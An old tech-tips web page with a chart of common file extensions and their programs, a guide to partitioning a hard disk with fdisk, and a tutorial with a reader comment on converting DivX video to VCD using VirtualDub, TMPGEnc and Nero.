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This chart is a list of the most commonly found extensions, what type of file they are and what program if any they are associated with.

.$$$ Temporary file
.$$A OS/2 program file
.$$F OS/2 database file
.$$S OS/2 spreadsheet file
.$D$ OS/2 planner file
.$DB DBASE IV temporary file
.$ED Microsoft C temporary editor file.
.$VM Microsoft Windows temporary file for virtual managers.
._DD Norton disk doctor recovery file.
._DM Nuts n Bolts disk minder recovery file.
.--- File used to backup sys, ini, dat, and other important files from Windows 3.1 and above.
.075 Ventura Publisher 75x75 dpi screen characters
.085 Ventura Publisher 85x85 dpi screen characters
.091 Ventura Publisher 91x91 dpi screen characters
.096 Ventura Publisher 96x96 dpi screen characters
.0B Pagemaker printer font LineDraw enhanced characters.
.1ST File used by some software manufacturers to represent a file that should be read first before starting the program.
.2GR File used in Windows 3.x to display the graphics on older 286 and 386 computers.
.386 Virtual machine support files for the 386 enhanced mode.
.3GR File used in Windows 3.x to display the graphics on later 386, 486 and Pentium computers.
.4SW 4DOS Swap file
A
A ADA program file or UNIX library
.A3W MacroMedia Authorware 3.5 file
.ABK Autobackup file used with Corel Draw 6 and above.
.ABR Brush file for Adobe Photoshop

.ACT Adobe Photoshop Color table file.

.AD After Dark file.
.ADF Adapter description files.
.ADM After Dark screen saver module.
.ADR After Dark randomizer
.AI Adobe Illustrator file.
.AIF Auto Interchange File Format (AIFF) Audio file.
.ANI Windows 95 / Windows 98 / Windows NT animated mouse cursor file.

.ANS ANSI text file.
.ARJ Compressed file can be used with Winzip / Pkzip.

.ASC ASCII Text file
.ASF Sort for Advanced Streaming Format, file developed by Microsoft. The .ASF file is generally a movie player and can be open with software such as Windows Media Player.
.ASP Microsoft FrontPage Active Server Pages. To open these files use your internet browser.
.AVI Windows Movie file.
B
.BAK Backup file used for important windows files usually used with the System.ini and the Win.ini.
.BAS QBasic program and or Visual Basic Module.
.BAT Batch file that can perform tasks for you in dos, like a macro.

.BFC Microsoft Windows 95 / Windows 98 Briefcase file.

.BG Backgammon game file.
.BIN Translation tables for code pages other than the standard 437.
.BK2 Word Perfect for Windows Backup file
.BK3 Word Perfect for Windows Backup file
.BK4 Word Perfect for Windows Backup file
.BK5 Word Perfect for Windows Backup file
.BK6 Word Perfect for Windows Backup file
.BK7 Word Perfect for Windows Backup file
.BK8 Word Perfect for Windows Backup file
.BK9 Word Perfect for Windows Backup file
.BMP Graphical Bit Mapped File used in Windows Paintbrush.

.BNK Sim City Backup

.BPS Microsoft Works Word Processor File.
.BPT Corel Draw Bitmap master file
.BV1 Word Perfect for Windows Backup file
.BV2 Word Perfect for Windows Backup file
.BV3 Word Perfect for Windows Backup file
.BV4 Word Perfect for Windows Backup file
.BV5 Word Perfect for Windows Backup file
.BV6 Word Perfect for Windows Backup file
.BV7 Word Perfect for Windows Backup file
.BV8 Word Perfect for Windows Backup file
.BV9 Word Perfect for Windows Backup file
.BWP BatteryWatch pro file.
C
.C C file used with the C programming language.
.CAB Cabinet file used in Windows 95 and Windows 98 that contains all the windows files and drivers. Information about how to extract a .CAB file can be found on document CH000363.

.CAL Windows Calendar, Supercalculator4 file or Supercal spreadsheet.
.CBL COBOL Program File
.CBT Computer Based Training files.
.CDA CD Audio Player Track.
.CDR Corel Draw Vector file.

.CFB Comptons Multimedia file
.CFG Configuration file
.CFL Corel flowchart file

.CFM Corel FontMaster file / Cold Fusion Template file / Visual dBASE windows customer form
.CHK Scandisk file which is used to back up information that scandisk has found to be bad, found in C root. Because the information within these files are corrupted or reported as bad by Scandisk it is perfectly fine to delete these files, providing you are currently not missing any information. Additional information about scandisk can be found on our scandisk page.

.CL Generic LISP source code.
.CL3 Easy CD Creator layout file.
.CL4 Easy CD Creator layout file.
.CLA Java Class file.
.CLG Disk catalog database
.CLK Corel R.A.V.E. animation file.

.CLL Crick software clicker file
.CLO Cloe image
.CLP Windows Clipboard / Quattro Pro clip art / Clipper 5 compiler script
.CLR WinEdit Colorization word list / 1st reader binary color screen image / PhotStyler color definition
.CLS Visual Basic Class module / C++ Class definition
.CMD Windows Script File also OS/2 command file.
.CMV Corel Movie file.

.CNT Help file (.hlp) Contents (and other file contents)
.CPL Windows 95 / Windows 98 / Windows NT control panel icons.

.CNE Configuration file that builds .COM files.
.CNF Configuration file.
.COB COBOL source code file.
.COD FORTRAN Compiler program code
.COM File that can be executed.
.CPE Fax cover page file
.CPI Code Page Information or Microsoft Windows applet control panel file
.CPP C++ source code file.
.CRD Windows Card file.
.CSV Comma-Separated Variable file. Used primary with databases and spreadsheets / Image file used with CopuShow

.CUR Windows Mouse Cursor.
.CVS Canvas drawing file
.CXX C++ program file or Zortech C++ file
D
.DAT Data file, generally associated or extra data for a program to use.
.DB Paradox database file / Progress database file
.DB2 dBase II file
.DBC Microsoft Visiual Foxpro database container

.DBF dBase II,III,III+,IV / LotusWorks database.
.DBK dBase databse backup / Orcad schematic capture backup file
.DBM Cold Fusion template
.DBO dBase IV compiled program file
.DBQ Paradox memo
.DBT dBase database text file
.DBV Flexfile memo field file
.DBW DataBoss database file
.DBX Database file / DataBeam Image / MS Visual Foxpro Table
.DEV Device Driver
.DIF Document Interchange Format; VisiCalc
.DLL Dynamic Link Library; Allow executable code modules to be loaded on demand, linked at run time, and unloaded when not needed. Windows uses these files to support foreign languages and international/nonstandard keyboards.
.DMO Demo file
.DMP Dump file
.DMD Visual dBASE data module
.DMF Delusion/XTracker Digital Music File
.DMO Demo file
.DMP Dump file
.DMS Compressed archive file
.DOC Microsoft Word Windows/DOS / LotusWorks word processor Windows/DOS /PF S:First Choice Windows/DOS DOT MS Word Windows/DOS.
.DOS Text file and DOS Specification Info
.DOT Microsoft Word Template (Macro).

.DRV Device driver files that attach the hardware to Windows. The different drivers are system, keyboard, pointing devices, sound, printer/ plotter, network, communications adapter.
.DRW Micrografx draw/graph files.
.DT_ Macintosh Data File Fork
.DTA Data file
.DTD SGML Document definition file
.DTF Q&A database
.DTM DigiRekker module
.DTP SecurDesk! Desktop / Timeworks Publisher Text Document / Pressworks Template file
.DUN Dialup Networking exported file.
.DX Document Imaging file / Digital data exchange file

.DXB Drawing interchange binary file
.DXF Autocad drawing interchange format file
.DXN Fujitsu dexNet fax document
.DXR Macromedia director projected movie file
.DYN Lotus 1-2-3 file
.DWG AutoCad Drawing Database
E
.EEB Button bar for Equation Editor in Word Perfect for Windows
.EFT CHIWRITER high resolution screen characters
.EGA EGA screen characters for Ventura Publisher
.ELG Event List text file used with Prosa
.EMS Enhanced Menu System configuration file for PC Tools
.EMU IRMA Workstation for Windows emulation
.ENC ADW Knowledge Ware Encyclopedia
.END Corel Draw Arrow Definition file
.ENG Sprint dictionary file engine
.ENV Word Perfect for Windows environment file.
.EPG Exported PaGe file used with DynaVox
.EPS Encapsulated Postscript, with embedded TIFF preview images.
.EQN Word Perfect for Windows Equation file
.ERD Entity Relation Diagram graphic file
.ERM Entity Relation Diagram model file
.ERR Error log file
.ESH Extended Shell Batch file
.EVT Event file scheduler file for PC Tools
.EX3 Device driver for Harvard graphics 3.0
.EXC QEMM exclude file from optimization file or Rexx program file
.EXE Executable file.
.EXT Extension file for Norton Commander
F
.FDF Adobe Acrobat Forms Document.
.FF AGFA CompuGraphics outline font description.
.FFA Microsoft Fast Find file.

.FFF GUS PnP bank / defFax fax document
.FFL Microsoft Fast Find file / PrintMaster Gold form file

.FFO Microsoft Fast Find file

.FFT DCA/FFT final form text
.FFX Microsoft Fast Find file

.FON Font files to support display and output devices.
.FR3 dBase IV renamed dBase III+ form
.FRF FontMonger Font
.FRG dBase IV uncompiled report
.FRK Compressed zip file used with Apple Macinotsh computers.

.FRM Form file used with various programs / Microsoft Visual Basic Form / FrameMaker document / FrameBuilder file / Oracle executable form / Word Perfect Merge form / DataCAD symbol report file
.FRO dBase IV compiled report / FormFlow file
.FRP PerForm Pro Plus Form
.FRS WordPerfect graphics driver
.FRT FoxPro report file
.FRX Microsoft Visual basic binary form file / FoxPro report file

.FRZ FormFlow file
G
.GIF CompuServe Graphics Interchange Format.
.GR2 286 grabbers that specify which font to use with DOS and Windows.

.GR3 386 grabbers that specify which font to use with DOS and Windows.

.GRA Microsoft Flight simulator graphics file

.GRB Microsoft MS-DOS shell monitor

.GRF Micrografx draw/graph files.
.GRP Microsoft Program Group.

.GZ Compressed Archive file for GZip
H
.HBK Mathcad handbook file
.HDL Procomm Plus alternate download file listing
.HDR Procomm Plus message header
.HDX Help index
.HEX Hex dump
.HFI GEM HP font info
.HGL HP graphics language graphic
.HH C++ Header
.HHH Precompiled Header for Power C
.HHP Help data for Procomm Plus
.HLP Files that contain the Help feature used in windows, cannot be read from DOS.

.HQX Apple Macintosh Binhex text conversion file.

.HSQ Data files associated with the Qaz Trojan.
.HSS Photoshop Hue/Saturation information.
.HST History file / Procomm Plus History File / Host file.
.HTA Hypertext Application (run applications from HTML document).

.HTM Web page files containing HTML or other information found on the Internet.

I

.ICA Citrix file / IOCA graphics file
.ICB Targa Bitmap
.ICC Kodak printer image
.ICE Archive file
.ICL Icon library file
.ICM Image Color Matching profile file
.ICN Microsoft Windows Icon Manager.

.ICO Microsoft Windows Icondraw / Icon.

.ID Disk identification file.
.IDB Microsoft developer intermediate file, used with Microsoft Visual Studio

.IDD MIDI instruments definition
.IDE Integrated Development Environment configuration file
.IDF MIDI instruments drivers file
.IDQ Internet data query file
.IDX Index file
.IFF IFF/LBM (Amiga) used by Computer Eyes frame grabber.
.IMG GEM/IMG (Digital Research) or Ventura Publisher bitmap graphic
.INF Information file that contains customization options.
.INI Files that initialize Windows and Windows apps.
.IPF Installer Script File / OS/2 online documentation for Microsoft source files.
.ISO Compressed file used for an exact duplicate of a CD. .ISO files can be extracted or opened such programs as Win Image that can be found on our shareware download section.

.IWA IBM Writing Assistant Text file.
J
.JAS Graphic
.JPG Graphic commonly used on the Internet and capable of being opened by most modern image editors.
.JS JavaScript file.
.JSB Henter-Joyce Jaws script binary file
.JSD eFAX jet suite document
.JSE JScript encoded script file
.JSH Henter-Joyce Jaws script header file
.JSL PaintShop pro file
.JSM Henter-Joyce Jaws script message file
.JSP Java server page
.JSS Henter-Joyce Jaws script source file
.JT JT fax file
.JTF JPEG tagged Interchange format file
.JTK Sun Java toolkit file
.JTP JetForm file
.JW Justwrite text file
.JWL Justwrite text file library
.JZZ Jazz spreadsheet
K
.KAR Karaoke File used with some audio players.
L
.LGC Program Use Log File (for Windows Program Use Optimization).
.LGO Contains the code for displaying the screen logo.
.LOG Contains the process of certain steps, such as when running scandisk it will usually keep a scandisk.log of what occurred.
.LNK HTML link file used with Microsoft Internet Explorer.

.LWP Lotus Wordpro 96/97 file.
M
.MAC Macintosh macpaint files.
.MBX Microsoft Outlook Express mailbox file.

.MD Compressed Archive file
.MDA Microsoft Access Add-in / Microsoft Access 2 Workgroup.
.MDB Microsoft Access Database / Microsoft Access Application.
.MDE Microsoft Access Database File
.MDF Menu definition file
.MDL Digitrakker Music Module / Rational Rose / Quake model file

.MDM Telix Modem Definition
.MDN Microsoft Access Blank Database Template
.MDP Microsoft Developer Studio Project
.MDT Microsoft Access Add-in Data
.MDW Microsoft Access Workgroup Information
.MDX dBase IV Multiple Index
.MDZ Microsoft Access Wizard Template
.MEB WordPerfect Macro Editor bottom overflow file
.MED WordPerfect Macro Editor delete save / OctaMed tracker module
.MEM WordPerfect Macro Editor macro / Memory File of variables
.MID Midi orchestra files that are used to play with midi sounds built within the sound card.

.MIX Power C object file / Multiplayer Picture file (Microsoft Photodraw 2000 & Microsoft Picture It!) / Command & Conquer Movie/Sound file

.MOD Winoldap files that support (with grabbers) data exchange between DOS apps and Windows apps.
.MOV File used with Quick Time to display a move.

.MP1 MPEG audio stream, layer I
.MP2 MPEG audio stream, layer II
.MP3 MPEG audio stream, layer III; High compressed audio files generally used to record audio tracks and store them in a decent sized file available for playback. See our MP3 page for additional information.

.MPG MPEG movie file.
.MSN Microsoft Network document / Decent mission file

.MTF Windows metafile.
.MTH Derive Math file
.MTM Sound file / MultiTracker music module
.MTV Picture file
.MTW Minitab data file
.MU Quattro menu
.MUL Ultima Online game
.MUP Music publisher file
.MUS Audio file
.MVB Database file / Microsoft multimedia viewer file

.MVE Interplay video file

.MVF Movie stop frame file
.MWP Lotus Wordpro 97 smartmaster file
.MXD ArcInfo map file
.MXT Microsoft C Datafile

.MYD Make your point presentation file.
N
.N64 Nintendo 64 Emulator ROM image.

.NA2 Netscape Communicator address book.
.NAB Novell Groupwise address book

.NAP Napster Music security definition file.
.NDF NeoPlanet Browser file
.NDX Indexed file for most databases.
.NES Nintendo Entertainment system ROM image.

.NIL Norton guide online documentation
.NGF Enterasys Networks NetSight file.

.NHF Nero HFS-CD compilation or a general Nero file
.NIL Norton icon lybrary file.
.NLB Oracle 7 data file
.NLD ATI Radeon video driver file,

.NMI SwordSearcher file.
.NON LucasArts Star Wars - Tie fighter mouse options file.

.NOW Extension commonly used for readme text files.
.NRA Nero Audio CD file.
.NRB Nero CD-ROM boot file.
.NS2 Lotus Notes 2 database,
.NS5 Lotus Notes Domino file,
.NSO NetStudio easy web graphics file.
.NT Windows NT startup file.
.NUM File used with some Software Manufactures to store technical support numbers or other phone numbers, should be readable from DOS and or Windows.
O
.OCA Control Typelib Cache.
.OCX Object Linking and Embedding (OLE) control extension.
.OLB Object library
.OLD Used for backups of important files incase they are improperly updated or deleted.
.OLE Object Linking and Embedding object file
.OLI Olivetti text file
.ORI Original file.
P
.PAB Personal Address Book, file used with Microsoft Outlook.

.PB WinFax Pro phone book file
.PBD PowerBuilder dynamic library / Faxit phone book file
.PBF Turtle Beach Pinnacle bank file
.PBK Microsoft phonebook file

.PBL PowerBuilder library file
.PBM UNIX portable bitmap fuke
.PBR PowerBuilder resource
.PBI Profiler binary input file
.PBM PBM portable bit map graphic
.PBO Profiler binary output
.PBT Profiler binary table
.PCX Microsoft Paint & PC Paintbrush Windows/DOS.

.PDA Bitmap graphic file
.PDB TACT data file
.PDD Adobe PhotoDeluxe Image.

.PDF Adobe Acrobat Reader file which can only be read by Adobe Acrobat (to get file downloaded Adobe Acrobat from our Download Page.

.PDL Borland C++ project description language file.

.PDS Graphic file / Pldasm source code file.
.PDV Paintbrush printer driver.
.PDW Professional Draw document.
.PIC Picture / Viewer Frame Class.
.PIF Program Information File that configures a DOS app to run efficiently in windows.
.PJF Paintjet soft font file.
.PL Harvard palette file / PERL program file

.PL3 Harvard chart palette
.PLB Foxpro library / LogoShow Screensaver file
.PLC Lotus Add-in
.PLD PLD2 source file
.PLG REND386 / AVRIL file
.PLI Oracle 7 data description
.PLL Prelinked library
.PLM DisorderTracker2 module
.PLN WordPerfect spreadsheet file
.PLR Descent Pilot file

.PLS WinAmp MPEG playlist file / DisorderTracker 2 Sample file / Shoutcast file / MYOB data file
.PLT AutoCAD HPGL vector graphic plotter file / Gerber sign-making software file / Betley's CAD Microstation driver configuration for plotting
.PLY Autodesk polygon
.PP Compressed archive file.
.PP4 Picture Publisher.
.PP5 Picture Publisher.
.PPA Power Point Add-in.
.PPB WordPerfect Print preview button bar.
.PPD PostScript Printer description.
.PPF Turtle Beach Pinnacle program file.
.PPI Microsoft PowerPoint graphic file.

.PPL Harvard (now Serif) Polaroid Palette Plus ColorKey Driver.
.PPM PBM Portable Pixelmap Graphic.
.PPO Clipper Preprocessor Output.
.PPP Serif PagePlus Publication.
.PPS Microsoft PowerPoint Slideshow.

.PPT Microsoft PowerPoint presentation.

.PPX Serif PagePlus publication.
.PPZ Microsoft PowerPoint Packaged Presentation.

.PS2 File to support the Micro Channel Architecture in 386 Enhanced mode.
.PSD Adobe Photoshop image file.

.PST Post Office Box file used with Microsoft Outlook usually mailbox.pst unless named otherwise.
.PWA Password agent file.
.PWD Password file.
.PWF ProCite Workforms
.PWL Password file used in Windows 95 and Windows 98 is stored in the Windows directory.
.PWP Photoworks image file
.PWZ PowerPoint wizard
Q
.QIC Windows backup file
.QT Quick Time Movie File
.QXD Quark Express file
.QXL Quark Xpress element library
.QXT Quark Xpress template file
R
.RA Real Audio file.
.RAM Real Audio file.
.RAR Compressed file similar to .ZIP uses different compression program to extract. See our recommended download page for a program that can be used to extract .RAR files.
.RAS File extension used for raster graphic files.

.RD1 Descent registered level file

.RD3 Ray Dream designer graphics file / CorelDraw 3D file
.RD4 Ray Dream designer graphics file
.RD5 Ray Dream designer graphics file
.RDB TrueVector rules database
.RDF Resource description framework file / Chromeleon report definition
.RDL Descent registered level file / RadioDestiny radio stream

.RDX Reflex data file
.REC Sound file used with Windows Sound Recorder.

.RLE Microsoft Windows Run Length Encoded (Run Length Encoded (bitmap format) file that contains the actual screen logo).
.RMI Microsoft RMID sound file.
.RPB Automotive diagnostic file.
.RPD Rapidfile database
.RPM Red Hat Package Manager / RealMedia Player file.

.RPT Various Report file
.RTF Rich Text Format file
.RWZ Microsoft Outlook rules wizard file

S
.SAV File that usually contains saved information such as a saved game.
.SC2 Maps used in Sim City 2000.

.SCP Dialup Networking script file.
.SCR Source files for the .INI files, or sometimes may be used as screen savers.
.SD Sound Designer I audio file
.SD2 Sound Designer II flattened file / Sound Designer II data fork file / SAS database file
.SDA StarOffice drawing file / SoftCuisine data archive
.SDC StarOffice spreadsheet
.SDD StarOffice presentation
.SDF Standard data format file / Schedule data file / System file format / Autodesk mapguide spatial data file
.SDK Roland S-series floppy disk image
.SDL SmartDraw library
.SDN Small archive
.SDR SmartDraw drawing
.SDS StarOffice chart file / Raw MIDI sample dump standard file
.SDT SmartDraw template
.SDV Semicolon divided value file
.SDW Sun Microsystems StarOffice file document file similar to the Microsoft Office .DOC file.
.SDX MIDI sample dump standard files compacted by SDX
.SEA Short for Self Extracting Archive. Compressed file used with the Macintosh.
.SH Archive file
.SH3 Harvard (now Serif) presentation file
.SHB Corel Background file
.SHG Hotspot Editor Hypergraphic
.SHK Macintosh Compressed Archive file
.SHM WordPerfect Shell Macro
.SHP 3D Studio Shapes File / other 3D related file
.SHR Archive file
.SHS Shell scrap object file
.SHW Corel presentation / WordPerfect Slide Show / Show File
.SLK Multiplan file.
.SND Sound Clip file / Raw unsigned PCM data / AKAI MPC-series sample / NeXT sound / Macintosh sound resource file
.SNG MIDI song
.SNM Netscape Mail
.SNO SNOBOL program file
.SNP Snapview snapshot file
.SUM Summary file.
.SWF Macromedia Flash file.
.SWP Extension used for the Windows Swap File usually Win386.Swp. This file is required by Windows and generally can grow very large in size sometimes up to several hundred megs. This file is used to swap information between currently running programs and or memory. If this file is deleted from the computer Windows will be unable to load and will need to be reinstalled.
.SYS System and peripheral drivers.
T
.TDF Trace Definition File used with OS/2
.TGA Targa file
.TIF Tag Image Format that includes most 24-bit color.
.TLB Remote automation truelib files / OLE type library / Visual C++ type library
.TLD Tellix file
.TLE NASA two-line element set
.TLP Microsoft project timeline fie

.TLT Trellix web design file
.TLX Trellix data file
.TMP Temporary files.
.TRM Windows Terminal.
.TXT Text file that can be read from windows of from DOS by using the Edit, Type, or Edlin.
U
.UNI MikMod (UniMod) format file / Forcast Pro data file
.UNK Unknown file type, sometimes used when a file is received that cannot be identified
.UNX Text file generally associated with UNIX.

.URL File used with some browsers such as Internet Explorer linking you to different web pages. Internet Shortcut.
V
.VB VBScript file
.VBA vBase file
.VBD ActiveX file
.VBE VBScript encoded script file
.VBG Visual Basic group project file
.VBK VisualCADD backup file
.VBL User license control file
.VBP Visual Basic project file
.VBR Remote automation registration files
.VBS Microsoft Visual Basic Script file for quick programs and in some cases can be used as a virus file.
.VBW Visual Basic project workplace
.VBX Visual Basic extension file
.VBZ Wizard launch file
.VC VisiCalc Spreadsheet file.
.VCD VisualCADD Drawing file.
.VCE Natural MicroSystems voice file.
.VCF vCard File / Vevi Configuration file.
.VCS Microsoft Outlook vCalander file.

.VCT FoxPro class library.
.VCW Microsoft Visual C++ workbench information file.

.VCX FoxPro class library.
.VDA Targa bitmap
.VDD Short for Virtual Device Driver. Additional information can be found here.

.VDO VDOScript file
.VDX No such file extension - Likely you meant to .vxd
.VM Virtual Machine / Virtual Memory file.
.VMM Virtual Machine (Memory Manager) file.
.VMF Ventura font characteristics file / FaxWorks audio file
.VMH
.VS2 Roland-Bass transfer file.
.VSD Visio drawing.
.VSL GetRight download list file.
.VSS Visio stencil.
.VST Video Template / Truevision Vista graphic / Targa Bitmap/
.VSW Visio workspace file.
.VXD Windows system driver file allowing a driver direct access to the Windows Kernel, allowing for low level access to hardware.
W
.WAB Microsoft Outlook Express personal address book.

.WAD File first found in IdSoftware games such as DOOM, Quake, as well as most new games similar to these.
.WAV Sound files in Windows open and played with sound recorder.

.WB1 Quattro Pro Notebook
.WB2 Quattro Pro Spreadsheet
.WBF Microsoft Windows Batch File

.WBK Wordperfect document / workbook
.WBT Winbatch batch file
.WCD Wordperfect macro token list
.WCM Microsoft Works data transmission file / Wordperfect Macro

.WCP Wordperfect product information description
.WDB Microsoft Works database

.WEB Web source code file
.WFM dBASE Form object
.WFN CorelDRAW font
.WFX Winfax data file
.WG1 Lotus 1-2-3 worksheet

.WG2 Lotus 1-2-3 for OS/2 worksheet

.WID Ventura publisher width table
.WIN Foxpro - dBASE window file
.WIZ Microsoft Publisher page wizard

.WK1 Lotus 1-2-3 all versions / LotusWorks spreadsheet.

.WK3 Lotus 1-2-3 for Windows /Lotus 1-2-3 Rel.3.

.WKS Lotus 1-2-3 Rel lA,2.0,2.01, also file used with Microsoft Works.

.WLG Dr. Watson log file.

.WMA Windows Media Audio file.
.WMF Windows Metafile. Also see WMF dictionary definition.

.WMZ Windows Media Player theme package file.
.WPD WordPerfect Windows/DOS.
.WPG WordPerfect Graphical files Windows/DOS.
.WPM WordPerfect Macro file.
.WPS MS Works word processor Windows/DOS.
.WRI Windows Write.
.WRK Lotus 1-2 31.0,1.01,1.1/ Symphony 1,1.01.
.WRI Symphony l.1,1.2,2 / Microsoft Write file.
X
.XIF Wang image file / Xerox image file
.XLB Microsoft Excel File.

.XLS Microsoft Excel File.

.XM Sound file / Fast tracker 2 extended module
.XML Extensible markup language file.
.XNK Exchange shortcut
.XOT Xnetech job output file
.XPM X picsmap graphic
.XQT SuperCalc macro sheet
.XRF Cross Reference
.XR1 Epic MegaGames Xargon File

.XSL XML Style sheet
.XSM LEXIS-NEXIS tracker
.XTB LocoScript external translation table
.XWD X Windows dump file

.XWF Yamaha XG Works file
.XXE Xxencoded file
.XY XYWrite text file
.XY3 XYWrite text file
.XY4 XYwrite IV document
.XYP XYwrite III plus document
.XYW XYwrite Windows 4.0 document
Y
.Y Amiga YABBA compressed file archive
.Y01 Paradox index file
.Y02 Paradox index file
.Y03 Paradox index file
.Y04 Paradox index file
.Y05 Paradox index file
.Y06 Paradox index file
.Y07 Paradox index file
.Y08 Paradox index file
.Y09 Paradox index file
.YUV Yuv graphics file
.YZ YAC compressed file archive.
Z
.Z Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used. UNIX / Linux users use the compress / uncompress command to extract these files.
.ZIP Compressed file that can hold thousands of files. To extract all the files Pkzip or Winzip will need to be used.

Part your HardDisk

2009-06-05T03:40:00.000-07:00

Partitioning Your Harddisk With Fdisk
Partitioning your HardDisk

Partitioning involves creating logical units on your hard drive that are then addressed as different drive letters. Not only does it help to organize your data (program files on one drive, games on another, documents on another) but also to speed up your PC. This is so because the drive head has to move a lesser distance for accessing data within one partition. You can also have different filesystems and OSs on the same hard drive.

Partitioning can be done using ‘fdisk’ in DOS/Windows 9x or ‘disk management’ in Windows 2000/ NT/XP. We will describe the procedure for fdisk, since disk management is GUI driven and the basics otherwise remain the same. While several other commercial packages like Partition Magic are available, these utilities (fdisk, computer management) are bundled with their respective OSs. You need a bootable floppy with fdisk.exe, format.com, and sys. com utilities. Before starting, decide how many partitions you want to create and their sizes. You can create one primary and one extended partition using the DOS fdisk. The extended partition can then have multiple logical partitions. Boot your machine using the bootable disk, and do the following.

Run fdisk. The utility will show you a numbered menu from where you can create, view, or delete partitions
The utility first asks you whether you want to enable large disk support. Type Y (for yes) and press enter if your hard-drive capacity is more than 4 GB. Large disk support creates a FAT32 partition, which can be greater than 2 GB
Select the first option from fdisk menu to create a primary partition. Specify the partition size in megabytes or percentage size when prompted for it
Similarly, create an extended partition. Extended partitions by themselves do not appear as drive letters. Instead, logical partitions must be created in them, which are then assigned drive letters
Exit fdisk and reboot the computer
Fdisk automatically assigns drive letters to all the partitions. You’ll need to format each partition in order to use it. Use format.com for the same
Your hard drive is now ready for taking an OS.

how to make a VCD from a DivX

2009-01-04T01:00:00.000-08:00

Tools required: Latest Virtual dub, TMPGEnc and Nero ( and the DivX codecs.)

Preparing:

Download all tools, Be sure to install DivX 3.11 DivX4 and the latest DivX5 codecs.

Extracting the audio : Start Virtualdub. Open your video File->Open video file.(if you get any warnings just ignore them because you won't edit the video just extract the audio)

Select File->File Information and note the fps as the video source fps because you will need it later.

Select under Audio->Full processing mode.

Select Audio->Compression and select <No compression (PCM)>

Select Audio->Conversion.

Change the the Sampling rate to 44100Hz if you are going to make VCD or SVCD MPEGs.

Save the wav by clicking on File->Save WAV...the wav will be a huge audio uncompressed video file(about 10 MB/minute.

Encoding:

Start TMPEnc. Press cancel if the Project Wizard comes.

Press Browse… and select the DivX file as Video source input.

Now you press the Browse button for choosing the Audio source input and use the saved wav file.

Press load and load the file which in the Template directory of TMPGenc.

If the video source fps is 29,970 load VideoCD (NTSC).mcf

If the video source fps is 23,970 load VideoCD (NTSCFilm).mcf

If the video source fps is 25,000 load VideoCD (PAL).mcf

If the video source fps is anything else else just load NTSC if you live in US or Japan and PAL if you live anywhere else.

Note if you live in US or Japan and get problem playing PAL, often causing black and white TV playback problems, then first check if you can change to PAL on your TV or DVD Player if not then instead convert it to NTSC by loading the VideoCD(NTSC) template.

Note if you live Europe and the rest of the world and get problem playing NTSC or NTSCFilm, often causing black and white TV playback problems, then first check if you can change to PAL on your TV or DVD Player if not convert it to PAL by loading the VideoCD(Pal) template.

Press Settings and choose Advanced.

Select Full screen (keep aspect ratio) under Video arrange method to keep the same aspect ratio(widescreen,fullscreen) as the video source(if you have a widescreen movie and you want it to be in fullscreen select No margin(keep aspect ratio).

Select Source range and double-click on it with the mouse.

In the next dialog you can choose the source range. This process depends on the DivX file. If the DivX file is less than 80min (for a 80min/700mb CDR) then you do not have to split the file to two CDs. Also if the DivX file is already in two parts you have just to convert the first file and then the second. But if there should be the case that the movie is in one file over 80minutes long then it is necessary to select the source range. In this new dialog you put the horizontal scrollbar to the middle of the selection so that you will get the same length on the first CD as on the second. After you selected the middle do you have press Set end frame. A new value should be under End Frame. This value you should notice somewhere for the encoding of the second part. Of course the start frame must be 0.

After pressing ok, you only have to select the output file name. I prefer the movie name with the CD number (e.g. Ghost in the Shell CD1) for the burning.

Now encode the file by pressing the Start-Button.

While encoding you can select File->Preview(it won't effect the encoding) to see how the output will be, it it looks wrong(widescreen or fullscreen) you can stop the encoding and start over and change especially the Settings->Advanced->Video arange method.)

If you only want to burn the movie on one CD jump to the burning guide else follow the next points.

Repeat the third, forth and fifth point. In the source range dialog you now use as Start frame the noticed value and move with the horizontal scrollbar to the end of the movie.

After pressing Set end frame, press two times OK.

Now select the output filename for the second file. (e.g. Ghost in the Shell CD2) and encode it.

After the encoding is done and you did all right, you should have for every CD a file.

Burning:

Launch Nero.Close the Wizard. Select File->New.

1. Select VideoCD

2. Select PAL or NTSC depending what format your source MPEG is in.

3. And hit New.

1. Locate your .mpg and drag it(see picture below). Remember that you can add several .mpgs also, each mpg will be a own track on the VCD and you can add data files also, just drag them to any folder.

2. Check the time. It should be the same as in the movie.

3. Rename the CD to anything you like by clicking F2 on NEW.

4. Select File->Write CD.

don't know about everyone else.. but the only options i choose on tmpgenc to make mpeg-1 files are either NTSC film 23.976, or NTSC video 29.97 fps..

i also live in the u.s. so i do all of mine accordingly.. why do you save the wave file with virtual dub.. or should i say, why do you even process the divx file with vdub.. yeah if it is your last resort and the divx for some reason doesn't open in tmpgenc.. i've got 180+ Divx movies, some downloaded mostly ripped, never had a problem encoding them with tmpgenc plus.

just seems like you are going from your a$$ to your elbow to do this.

1. take divx movie (120 minutes long for example).. open with vdub.. find a keyframe about halfway through the film, preferrably at a scene change.

choose "SET SELECTION START" from the EDIT menu.. scroll all the way to the end of the film, choose "SET SELECTION END"... hit DELETE or choose "DELETE SELECTION", all from the EDIT menu

2. Now you have 1 half of your movie. under the VIDEO menu, choose "DIRECT STREAM COPY", also make sure that under AUDIO is going to generate a "DIRECT STREAAM COPY". Then go to FILE and choose "SAVE as AVI..."

on a newer computer this will take less than 2 minutes..

3. When it is complete, the quickest way to proceed is to just click on FILE / "OPEN VIDEO FILE". at the beginning of the clip, choose "SET SELECTION START" again, snap back to the keyframe (half way through the film) which you cut half the film off at and choose "SET SELECTION END". DELETE... FILE / "SAVE AS AVI..." save as the other half of film..

once again, will usually take less than 2 minutes...

4. choose option accordingly, this next part can be important.. (i'm going to give the rest of the instructions as if you were making ntsc movie)

since you want to make a standard mpeg-1 file, choose NTSC FILM or NTSC VIDEO.. BROWSE for your file, then hit NEXT, then it OTHER SETTINGS / ADVANCED tab ... now there is an option that says "VIDEO ARRANGE METHOD".. if you are making a fullscreen movie, lleave on FULLSCREEN.. if you are encoding a widescreen movie, choose "FULL SCREEN (KEEP ASPECT RATIO).. OK / NEXT / NEXT (you get the point)

basically takes 1 step out of the tutorial above.. the instructions for nero appear to be correct.. but here's another tip..

dvd burners are becoming more and more popular and even i got one now, like many of you do. tired of old vcd's or wanna encode a VCD standard DVD with nearly 9 hours of video (but same quality as normal 80 minute VCD),

